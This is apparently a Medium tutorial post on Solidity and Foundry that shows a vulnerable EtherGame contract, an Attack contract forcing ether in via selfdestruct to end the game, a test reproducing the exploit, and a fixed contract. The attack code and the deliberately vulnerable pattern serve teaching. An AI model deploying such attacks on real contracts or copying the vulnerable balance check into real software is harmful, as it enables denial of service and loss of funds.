Foundry II -SelfDestruct

Solidity Programming Language
3 min readMay 9, 2022

Code is in the here.

Thanks to Murat and Ahmet.

EtherGame

Contract EtherGame {                                 
uint constant public targetAmount = 7 ether; address public winner;
function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; // vulnerable require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } }
function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } }

Attack

contract Attack {EtherGame etherGame;constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame);}function dos() public payable {// cast address to payableaddress payable addr = payable(address(etherGame));selfdestruct(addr);}}

ContractTest

contract ContractTest is Test {EtherGame EtherGameContract;Attack AttackerContract;
address alice;
address eve;function setUp() public {EtherGameContract = new EtherGame();//alice = vm.addr(1);alice = makeAddr("alice");// eve = vm.addr(2);eve = makeAddr("eve");vm.deal(alice, 1 ether);vm.deal(eve, 2 ether);}function testFailSelfdestruct() public {console.log("Alice balance", alice.balance);console.log("Eve balance", eve.balance);console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.}}

forge test — contracts ./src/test/SelfDestruct.sol -vvvv

console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();
AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.

What is the problem ?

uint balance = address(this).balance;   // vulnerable

You assign the adress’ balance to the balance variable but Hacker could sent the ether this address with selfdestruct method.

How to solve ?

contract EtherGame {uint constant public targetAmount = 7 ether;address public winner;uint public balance;function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");balance +=msg.value;require(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: balance}("");require(sent, "Failed to send Ether");}}

Failed tests: [FAIL] testFailSelfdestruct()

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Solidity Programming Language
Solidity Programming Language

Written by Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps

Responses (1)

Write a response